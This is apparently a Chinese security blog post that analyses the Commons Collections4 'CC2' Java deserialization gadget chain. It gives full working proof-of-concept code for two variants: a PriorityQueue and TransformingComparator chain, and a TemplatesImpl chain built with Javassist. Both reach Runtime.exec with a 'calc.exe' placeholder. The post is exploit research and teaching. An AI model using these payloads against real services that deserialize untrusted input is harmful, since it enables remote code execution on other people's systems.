一、背景
Apache Commons Collections 是一个著名的辅助开发库,包含了一些Java中没有的数据结构和辅助方法,不过随着Java 9以后的版本中原生库功能的丰富,以及反序列化漏洞的影响,它也在逐渐被升级或替代。
在2015年底,commons-collections反序列化利用链被提出时,Apache Commons Collections有以下两个分支版本:
- commons-collections:commons-collections
- org.apache.commons:commons-collections4
<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-
collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.commons/commons-
collections4 -->
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies>
为什么会有两个分支呢?
因为官方认为旧的commons-collections有一些架构和API设计上的问题,但修复这些问题,会产生大量不能向前兼容的改动。
所以commons-collections4不再被认为是一个替换commons-collections的新版本,而是一个新的包,两者的命名空间不冲突,因此可以共存在一个项目中。
CC2使用的是javassit和PriorityQueue来构造利用链,并且使用的是commons-collections4 4.0版本,而commons-collections 3.1-3.2.1 版本中TransformingComparator并没有实现Serializable接口,不可被序列化,所以CC2不使用 3.x版本。
二、利用链分析
利用链
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
2.1 利用链1
先跟着利用链看一遍:
PriorityQueue.readObject()
在for循环中将反序列化的了放入queue数组中,然后进入heapify()
通过反射,queue数组是可控的
heapify()
将size按位右移一位,其实就是除2,所以这里size需要大于等于2,然后进入siftDown()
siftDown()
comparator不为空进入siftDownUsingComparator()
siftDownUsingComparator()
然后进入 comparator.compare()方法,comparator是一个接口,compare是它的抽象方法
而TransformingComparator类中实现该接口中的方法,我们就可以通过反射将该类的实例传入上面的comparator
tranformer.transform()
Tranformer是一个接口,并且transform是可控的
而Tranformer的子类中有一些可以执行任意方法,那么大概的思路就可以想到了
POC1:
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.util.PriorityQueue;
public class Test {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(1, Tcomparator);
queue.add(1);
queue.add(2);
try{
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc2.txt"));
outputStream.writeObject(queue);
outputStream.close();
System.out.println(barr.toString());
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc2.txt"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
第一步:
通过反射获取Runtime对象
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
第二步:
当调用ChainedTransformer的transformer方法时,对transformers数组进行回调,从而执行命令;
将transformerChain传入TransformingComparator,从而调用transformer方法;
然后new PriorityQueue(1, Tcomparator),这里第一个参数需要大于1
Transformer transformerChain = new ChainedTransformer(transformers);
TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(1, Tcomparator);
第三步:
因为前面说了size需要大于等于2,所以add两次,size=2
queue.add(1);
queue.add(2);
执行后,能弹出两次计算器,但是并没有执行后面的序列化反序列化代码:
因为add方法中调用了compare方法,在执行完命令后,return 0,所以执行break,退出了程序
(也就是说程序在add方法执行完后就结束了)
那么如何不return 0 呢?
我们可以让comparator为null,前往siftUpComparable()方法,这样就不会执行compare
前往else,这里只需要构造函数传入comparator为null就行了
为了继续执行命令,在add方法之后,通过反射将comparator赋值,这样就可以执行命令了
完整POC
public class Test {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(1);
queue.add(1);
queue.add(2);
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue,Tcomparator);
try{
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("D:\\IDEA-pros\\project\\Maven01\\test\\src\\main\\resources\\cc2.txt"));
outputStream.writeObject(queue);
outputStream.close();
System.out.println(barr.toString());
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("D:\\IDEA-pros\\project\\Maven01\\test\\src\\main\\resources\\cc2.txt"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
同时写入了cc2.txt文件
当然,这里我想过为什么不能通过反射直接设置size,跳过add这一步,但是在writeObject()这一步报java.lang.ArrayIndexOutOfBoundsException: 1,不知道具体原因
Javassist简介
Javassist是一个开源的分析、编辑和创建Java字节码的类库,可以直接编辑和生成Java生成的字节码。
能够在运行时定义新的Java类,在JVM加载类文件时修改类的定义。
Javassist类库提供了两个层次的API,源代码层次和字节码层次。源代码层次的API能够以Java源代码的形式修改Java字节码。字节码层次的API能够直接编辑Java类文件。
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.28.0-GA</version>
</dependency>
ClassPool类
ClassPool是CtClass对象的容器,它按需读取类文件来构造CtClass对象,并且保存CtClass对象以便以后使用,其中键名是类名称,值是表示该类的CtClass对象。
常用方法:
static ClassPool getDefault()
:返回默认的ClassPool,一般通过该方法创建我们的ClassPool;ClassPath insertClassPath(ClassPath cp)
:将一个ClassPath对象插入到类搜索路径的起始位置;ClassPath appendClassPath
:将一个ClassPath对象加到类搜索路径的末尾位置;CtClass makeClass
:根据类名创建新的CtClass对象;CtClass get(java.lang.String classname)
:从源中读取类文件,并返回对CtClass 表示该类文件的对象的引用;
CtClass类
CtClass类表示一个class文件,每个CtClass对象都必须从ClassPool中获取。
常用方法:
void setSuperclass(CtClass clazz)
:更改超类(父类),除非此对象表示接口;byte[] toBytecode()
:将该类转换为类文件;CtConstructor makeClassInitializer()
:制作一个空的类初始化程序(静态构造函数);
示例:
public class Test02 {
public static void createPerson() throws Exception{
//实例化一个ClassPool容器
ClassPool pool = ClassPool.getDefault();
//新建一个CtClass,类名为Cat
CtClass cc = pool.makeClass("Cat");
//设置一个要执行的命令
String cmd = "System.out.println(\"javassit_test succes!\");";
//制作一个空的类初始化,并在前面插入要执行的命令语句
cc.makeClassInitializer().insertBefore(cmd);
//重新设置一下类名
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
//将生成的类文件保存下来
cc.writeFile();
//加载该类
Class c = cc.toClass();
//创建对象
c.newInstance();
}
public static void main(String[] args) {
try {
createPerson();
} catch (Exception e){
e.printStackTrace();
}
}
}
添加的代码被放在static块中,所以创建对象后能直接执行
2.2 利用链2
在ysoserial的cc2中引入了 TemplatesImpl 类来进行承载攻击payload,需要用到javassit;
POC:
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class Test2 {
public static void main(String[] args) throws Exception{
Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");
TransformingComparator Tcomparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(1);
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
//cc.writeFile();
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "blckder02");
setFieldValue(templates, "_class", null);
Object[] queue_array = new Object[]{templates,1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);
Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);
Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,Tcomparator);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2.bin"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2.bin"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}
第一步:
通过反射创建一个InvokerTransformer对象(通过一个参数为newTransformer的构造函数)
Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");
第二步:
和之前一样的操作,PriorityQueue只传入1,使comparator为null
TransformingComparator Tcomparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(1);
第三步:
这里就是上面javassist的知识
//实例化一个ClassPool容器
ClassPool pool = ClassPool.getDefault();
//在类搜索路径的起始位置插入AbstractTranslet.class
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
//创建一个CtClass,类名为Cat
CtClass cc = pool.makeClass("Cat");
//在类的起始位置插入static代码块
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
cc.makeClassInitializer().insertBefore(cmd);
//设置类的名字
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
//cc.writeFile();
//设置父类为AbstractTranslet
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
//将类转换为字节数组
byte[] classBytes = cc.toBytecode();
//将一维字节数组转化为二维字节数组
byte[][] targetByteCodes = new byte[][]{classBytes};
第四步:
实例化一个无参构造函数的TemplatesImpl对象,并设置其中的成员变量
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "blckder02");
setFieldValue(templates, "_class", null);
第五步:
通过反射设置queue、size、comparator
Object[] queue_array = new Object[]{templates,1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);
Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);
Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,Tcomparator);
第六步:
下面就是序列化、反序列化的步骤,debug跟一下
readObject()
heapify()
siftDown()
siftDownUsingComparator()
comparator.compare()
这里的obj1就是我们传入的TemplatesImpl对象
this.transformer.transform(obj1)
这里通过反射调用了newTransformer方法,IMethodName就是一开始传入的参数
method.invoke(input, this.iArgs),进入无参newTransformer方法
getTransletInstance()
这里就碰到了_name 和 _class ,也就是为什么之前设置的原因
注意红圈中的代码
defineTransletClasses()
这里代码比较长,就列出来了(省略了一些代码)
_transletIndex=0 之后返回getTransletInstance()
private void defineTransletClasses()
throws TransformerConfigurationException {
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
、、、、、
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
、、、、、
for (int i = 0; i < classCount; i++) {
//将字节数组还原为类对象,这里就是为什么之前将一维数组变成二维数组
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// 检查父类是否为abstractTanslet,这也是之前设置的
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
//_transletIndex=0
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
getTransletInstance()
然后执行上面红圈中的代码,实例化_class[0]
,也就是用ClassPool创建的EvileCat类
_class[_transletIndex].getConstructor().newInstance();
最后弹出计算器
三、总结
总体一步步看下来,虽然很多,但是容易理解
了解了CC2链,其他的利用链都有很多一样的地方
这次的分析也为理解其他利用链打下了基础
参考链接
- 本文链接:http://siii0.github.io/CommonCollection4%E5%88%A9%E7%94%A8%E9%93%BE%E5%88%86%E6%9E%90/
- 版权声明:本博客所有文章除特别声明外,均默认采用 许可协议。